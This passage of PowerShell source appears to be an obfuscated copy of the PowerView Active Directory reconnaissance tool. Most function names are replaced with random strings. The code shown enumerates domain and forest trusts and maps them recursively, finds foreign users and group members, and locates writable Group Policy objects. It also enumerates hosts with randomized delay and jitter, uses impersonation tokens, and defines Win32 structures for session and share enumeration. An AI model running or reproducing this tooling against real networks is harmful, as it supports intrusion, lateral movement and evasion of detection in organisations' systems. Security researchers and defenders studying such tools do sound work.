Write-Verbose "[CRMBFNUQ] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[CRMBFNUQ] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken | |
} | |
} | |
else { | |
Write-Verbose "[CRMBFNUQ] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'GroupName' = $GroupName | |
'Method' = $Method | |
'TokenHandle' = $LogonToken | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function 43KFK7FR { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.DomainTrust.NET')] | |
[OutputType('PowerView.DomainTrust.LDAP')] | |
[OutputType('PowerView.DomainTrust.API')] | |
[CmdletBinding(DefaultParameterSetName = 'LDAP')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Parameter(ParameterSetName = 'API')] | |
[Switch] | |
$API, | |
[Parameter(ParameterSetName = 'NET')] | |
[Switch] | |
$NET, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Parameter(ParameterSetName = 'API')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$TrustAttributes = @{ | |
[uint32]'0x00000001' = 'NON_TRANSITIVE' | |
[uint32]'0x00000002' = 'UPLEVEL_ONLY' | |
[uint32]'0x00000004' = 'FILTER_SIDS' | |
[uint32]'0x00000008' = 'FOREST_TRANSITIVE' | |
[uint32]'0x00000010' = 'CROSS_ORGANIZATION' | |
[uint32]'0x00000020' = 'WITHIN_FOREST' | |
[uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' | |
[uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' | |
[uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' | |
[uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' | |
[uint32]'0x00000400' = 'PIM_TRUST' | |
} | |
$LdapSearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PsCmdlet.ParameterSetName -ne 'API') { | |
$NetSearcherArguments = @{} | |
if ($Domain -and $Domain.Trim() -ne '') { | |
$SourceDomain = $Domain | |
} | |
else { | |
if ($PSBoundParameters['Credential']) { | |
$SourceDomain = (Get-Domain -Credential $Credential).Name | |
} | |
else { | |
$SourceDomain = (Get-Domain).Name | |
} | |
} | |
} | |
elseif ($PsCmdlet.ParameterSetName -ne 'NET') { | |
if ($Domain -and $Domain.Trim() -ne '') { | |
$SourceDomain = $Domain | |
} | |
else { | |
$SourceDomain = $Env:USERDNSDOMAIN | |
} | |
} | |
if ($PsCmdlet.ParameterSetName -eq 'LDAP') { | |
$TrustSearcher = 4I4THHU7 @LdapSearcherArguments | |
$SourceSID = TEH4BZ7T @NetSearcherArguments | |
if ($TrustSearcher) { | |
$TrustSearcher.Filter = '(objectClass=trustedDomain)' | |
if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } | |
else { $Results = $TrustSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Props = $_.Properties | |
$DomainTrust = New-Object PSObject | |
$TrustAttrib = @() | |
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } | |
$Direction = Switch ($Props.trustdirection) { | |
0 { 'Disabled' } | |
1 { 'Inbound' } | |
2 { 'Outbound' } | |
3 { 'Bidirectional' } | |
} | |
$TrustType = Switch ($Props.trusttype) { | |
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } | |
2 { 'WINDOWS_ACTIVE_DIRECTORY' } | |
3 { 'MIT' } | |
} | |
$Distinguishedname = $Props.distinguishedname[0] | |
$SourceNameIndex = $Distinguishedname.IndexOf('DC=') | |
if ($SourceNameIndex) { | |
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' | |
} | |
else { | |
$SourceDomain = "" | |
} | |
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') | |
if ($SourceNameIndex) { | |
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) | |
} | |
else { | |
$TargetDomain = "" | |
} | |
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) | |
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value | |
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain | |
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] | |
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType | |
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') | |
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" | |
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] | |
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] | |
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') | |
$DomainTrust | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[43KFK7FR] Error disposing of the Results object: $_" | |
} | |
} | |
$TrustSearcher.dispose() | |
} | |
} | |
elseif ($PsCmdlet.ParameterSetName -eq 'API') { | |
if ($PSBoundParameters['Server']) { | |
$TargetDC = $Server | |
} | |
elseif ($Domain -and $Domain.Trim() -ne '') { | |
$TargetDC = $Domain | |
} | |
else { | |
$TargetDC = $Null | |
} | |
$PtrInfo = [IntPtr]::Zero | |
$Flags = 63 | |
$DomainCount = 0 | |
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) | |
$Offset = $PtrInfo.ToInt64() | |
if (($Result -eq 0) -and ($Offset -gt 0)) { | |
$Increment = $DS_DOMAIN_TRUSTS::GetSize() | |
for ($i = 0; ($i -lt $DomainCount); $i++) { | |
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset | |
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS | |
$Offset = $NewIntPtr.ToInt64() | |
$Offset += $Increment | |
$SidString = '' | |
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if ($Result -eq 0) { | |
Write-Verbose "[43KFK7FR] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" | |
} | |
else { | |
$DomainTrust = New-Object PSObject | |
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain | |
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName | |
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName | |
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags | |
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex | |
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType | |
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes | |
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString | |
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid | |
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') | |
$DomainTrust | |
} | |
} | |
$Null = $Netapi32::NetApiBufferFree($PtrInfo) | |
} | |
else { | |
Write-Verbose "[43KFK7FR] Error: $(([ComponentModel.Win32Exception] $Result).Message)" | |
} | |
} | |
else { | |
$FoundDomain = Get-Domain @NetSearcherArguments | |
if ($FoundDomain) { | |
$FoundDomain.GetAllTrustRelationships() | ForEach-Object { | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') | |
$_ | |
} | |
} | |
} | |
} | |
} | |
function MRNQ9GIU { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ForestTrust.NET')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Forest, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$NetForestArguments = @{} | |
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } | |
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } | |
$FoundForest = Get-Forest @NetForestArguments | |
if ($FoundForest) { | |
$FoundForest.GetAllTrustRelationships() | ForEach-Object { | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') | |
$_ | |
} | |
} | |
} | |
} | |
function 97TR51SH { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ForeignUser')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
$SearcherArguments['LDAPFilter'] = '(memberof=*)' | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } | |
} | |
PROCESS { | |
C52BTCXM @SearcherArguments | ForEach-Object { | |
ForEach ($Membership in $_.memberof) { | |
$Index = $Membership.IndexOf('DC=') | |
if ($Index) { | |
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' | |
$UserDistinguishedName = $_.distinguishedname | |
$UserIndex = $UserDistinguishedName.IndexOf('DC=') | |
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' | |
if ($GroupDomain -ne $UserDomain) { | |
$GroupName = $Membership.Split(',')[0].split('=')[1] | |
$ForeignUser = New-Object PSObject | |
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain | |
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname | |
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname | |
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain | |
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName | |
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership | |
$ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') | |
$ForeignUser | |
} | |
} | |
} | |
} | |
} | |
} | |
function 7O7B3SPI { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ForeignGroupMember')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
$SearcherArguments['LDAPFilter'] = '(member=*)' | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } | |
} | |
PROCESS { | |
$ExcludeGroups = @('Users', 'Domain Users', 'Guests') | |
MPOE9M0D @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { | |
$GroupName = $_.samAccountName | |
$GroupDistinguishedName = $_.distinguishedname | |
$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
$_.member | ForEach-Object { | |
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { | |
$MemberDistinguishedName = $_ | |
$MemberName = $_.Split(',')[0].split('=')[1] | |
$ForeignGroupMember = New-Object PSObject | |
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain | |
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName | |
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName | |
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain | |
$ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName | |
$ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName | |
$ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') | |
$ForeignGroupMember | |
} | |
} | |
} | |
} | |
} | |
function 43KFK7FRMapping { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.DomainTrust.NET')] | |
[OutputType('PowerView.DomainTrust.LDAP')] | |
[OutputType('PowerView.DomainTrust.API')] | |
[CmdletBinding(DefaultParameterSetName = 'LDAP')] | |
Param( | |
[Parameter(ParameterSetName = 'API')] | |
[Switch] | |
$API, | |
[Parameter(ParameterSetName = 'NET')] | |
[Switch] | |
$NET, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Parameter(ParameterSetName = 'API')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Switch] | |
$Tombstone, | |
[Parameter(ParameterSetName = 'LDAP')] | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$SeenDomains = @{} | |
$Domains = New-Object System.Collections.Stack | |
$DomainTrustArguments = @{} | |
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API } | |
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET } | |
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Credential']) { | |
$CurrentDomain = (Get-Domain -Credential $Credential).Name | |
} | |
else { | |
$CurrentDomain = (Get-Domain).Name | |
} | |
$Domains.Push($CurrentDomain) | |
while($Domains.Count -ne 0) { | |
$Domain = $Domains.Pop() | |
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { | |
Write-Verbose "[43KFK7FRMapping] Enumerating trusts for domain: '$Domain'" | |
$Null = $SeenDomains.Add($Domain, '') | |
try { | |
$DomainTrustArguments['Domain'] = $Domain | |
$Trusts = 43KFK7FR @DomainTrustArguments | |
if ($Trusts -isnot [System.Array]) { | |
$Trusts = @($Trusts) | |
} | |
if ($PsCmdlet.ParameterSetName -eq 'NET') { | |
$ForestTrustArguments = @{} | |
if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } | |
if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } | |
$Trusts += MRNQ9GIU @ForestTrustArguments | |
} | |
if ($Trusts) { | |
if ($Trusts -isnot [System.Array]) { | |
$Trusts = @($Trusts) | |
} | |
ForEach ($Trust in $Trusts) { | |
if ($Trust.SourceName -and $Trust.TargetName) { | |
$Null = $Domains.Push($Trust.TargetName) | |
$Trust | |
} | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[43KFK7FRMapping] Error: $_" | |
} | |
} | |
} | |
} | |
function Get-GPODelegation { | |
[CmdletBinding()] | |
Param ( | |
[String] | |
$GPOName = '*', | |
[ValidateRange(1,10000)] | |
[Int] | |
$PageSize = 200 | |
) | |
$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') | |
$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() | |
$DomainList = @($Forest.Domains) | |
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() } | |
foreach ($Domain in $Domains) { | |
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher | |
$Searcher.SearchRoot = $Domain | |
$Searcher.Filter = $Filter | |
$Searcher.PageSize = $PageSize | |
$Searcher.SearchScope = "Subtree" | |
$listGPO = $Searcher.FindAll() | |
foreach ($gpo in $listGPO){ | |
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} | |
if ($ACL -ne $null){ | |
$GpoACL = New-Object psobject | |
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath | |
$GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname | |
$GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference | |
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights | |
$GpoACL | |
} | |
} | |
} | |
} | |
$Mod = 026904T3 -ModuleName Win32 | |
$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ | |
DOMAIN_OBJECT = '0x00000000' | |
GROUP_OBJECT = '0x10000000' | |
NON_SECURITY_GROUP_OBJECT = '0x10000001' | |
ALIAS_OBJECT = '0x20000000' | |
NON_SECURITY_ALIAS_OBJECT = '0x20000001' | |
USER_OBJECT = '0x30000000' | |
MACHINE_ACCOUNT = '0x30000001' | |
TRUST_ACCOUNT = '0x30000002' | |
APP_BASIC_GROUP = '0x40000000' | |
APP_QUERY_GROUP = '0x40000001' | |
ACCOUNT_TYPE_MAX = '0x7fffffff' | |
} | |
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ | |
CREATED_BY_SYSTEM = '0x00000001' | |
GLOBAL_SCOPE = '0x00000002' | |
DOMAIN_LOCAL_SCOPE = '0x00000004' | |
UNIVERSAL_SCOPE = '0x00000008' | |
APP_BASIC = '0x00000010' | |
APP_QUERY = '0x00000020' | |
SECURITY = '0x80000000' | |
} -Bitfield | |
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ | |
SCRIPT = 1 | |
ACCOUNTDISABLE = 2 | |
HOMEDIR_REQUIRED = 8 | |
LOCKOUT = 16 | |
PASSWD_NOTREQD = 32 | |
PASSWD_CANT_CHANGE = 64 | |
ENCRYPTED_TEXT_PWD_ALLOWED = 128 | |
TEMP_DUPLICATE_ACCOUNT = 256 | |
NORMAL_ACCOUNT = 512 | |
INTERDOMAIN_TRUST_ACCOUNT = 2048 | |
WORKSTATION_TRUST_ACCOUNT = 4096 | |
SERVER_TRUST_ACCOUNT = 8192 | |
DONT_EXPIRE_PASSWORD = 65536 | |
MNS_LOGON_ACCOUNT = 131072 | |
SMARTCARD_REQUIRED = 262144 | |
TRUSTED_FOR_DELEGATION = 524288 | |
NOT_DELEGATED = 1048576 | |
USE_DES_KEY_ONLY = 2097152 | |
DONT_REQ_PREAUTH = 4194304 | |
PASSWORD_EXPIRED = 8388608 | |
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 | |
PARTIAL_SECRETS_ACCOUNT = 67108864 | |
} -Bitfield | |
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ | |
Active = 0 | |
Connected = 1 | |
ConnectQuery = 2 | |
Shadow = 3 | |
Disconnected = 4 | |
Idle = 5 | |
Listen = 6 | |
Reset = 7 | |
Down = 8 | |
Init = 9 | |
} | |
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ | |
ExecEnvId = field 0 UInt32 | |
State = field 1 $WTSConnectState | |
SessionId = field 2 UInt32 | |
pSessionName = field 3 String -MarshalAs @('LPWStr') | |
pHostName = field 4 String -MarshalAs @('LPWStr') | |
pUserName = field 5 String -MarshalAs @('LPWStr') | |
pDomainName = field 6 String -MarshalAs @('LPWStr') | |
pFarmName = field 7 String -MarshalAs @('LPWStr') | |
} | |
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ | |
AddressFamily = field 0 UInt32 | |
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) | |
} | |
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ | |
Name = field 0 String -MarshalAs @('LPWStr') | |
Type = field 1 UInt32 | |
Remark = field 2 String -MarshalAs @('LPWStr') | |
} | |
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ | |
UserName = field 0 String -MarshalAs @('LPWStr') | |
LogonDomain = field 1 String -MarshalAs @('LPWStr') | |
AuthDomains = field 2 String -MarshalAs @('LPWStr') | |
LogonServer = field 3 String -MarshalAs @('LPWStr') | |
} | |
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ | |
CName = field 0 String -MarshalAs @('LPWStr') | |
UserName = field 1 String -MarshalAs @('LPWStr') | |
Time = field 2 UInt32 | |
IdleTime = field 3 UInt32 | |
} | |
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ | |
SidTypeUser = 1 | |
SidTypeGroup = 2 | |
SidTypeDomain = 3 | |
SidTypeAlias = 4 | |
SidTypeWellKnownGroup = 5 | |
SidTypeDeletedAccount = 6 | |
SidTypeInvalid = 7 | |
SidTypeUnknown = 8 | |
SidTypeComputer = 9 | |
} | |
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ | |
lgrpi1_name = field 0 String -MarshalAs @('LPWStr') | |
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') | |
} | |
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ | |
